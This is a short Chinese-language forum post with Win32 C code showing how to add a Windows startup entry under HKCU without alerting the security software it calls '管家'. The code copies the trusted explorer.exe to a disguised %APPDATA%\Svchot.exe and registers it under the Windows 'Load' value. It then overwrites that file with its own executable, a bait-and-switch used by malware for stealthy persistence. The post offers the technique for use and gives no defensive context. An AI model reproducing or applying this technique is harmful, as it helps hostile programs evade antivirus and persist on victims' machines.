简单的测试了下,发现写hkcu的run键值的时候,管家如果目标指向的程序是可信任程序,管家是不会提示的,比如系统程序,但是目标程序不存在或者不是白程序,那么管家就会提示,所以,写的时候先复制一个可信任程序过去,然后再将要写启动的程序覆盖掉它就可以了。
代码:
TCHAR szMyself[MAX_PATH] = {0};//自身路径
GetModuleFileName(NULL,szMyself,MAX_PATH);
TCHAR szRunPath[MAX_PATH] = {0};//启动的路径
ExpandEnvironmentStrings(_T("%APPDATA%\\Svchot.exe"),szRunPath,MAX_PATH);
TCHAR szExeplorer[MAX_PATH] = {0};//szExeplorer路径
GetSystemDirectory(szExeplorer,MAX_PATH);
_tcscat(szExeplorer,_T("\\explorer.exe"));
CopyFile(szExeplorer,szRunPath,FALSE);
Sleep(1000);
SHSetValue(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows"),_T("Load"),REG_SZ,szRunPath,_tcslen(szRunPath)*sizeof(TCHAR));
Sleep(200);
CopyFile(szMyself,szRunPath,FALSE)
这样就可以了,无提示写hkcu的启动项 |